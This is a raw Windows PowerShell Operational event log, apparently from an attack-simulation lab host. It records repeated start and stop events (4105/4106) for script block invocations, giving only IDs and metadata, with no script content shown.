Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035874
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035873
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035858
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035851
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035850
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035849
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035848
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035832
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035831
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035826
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035825
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
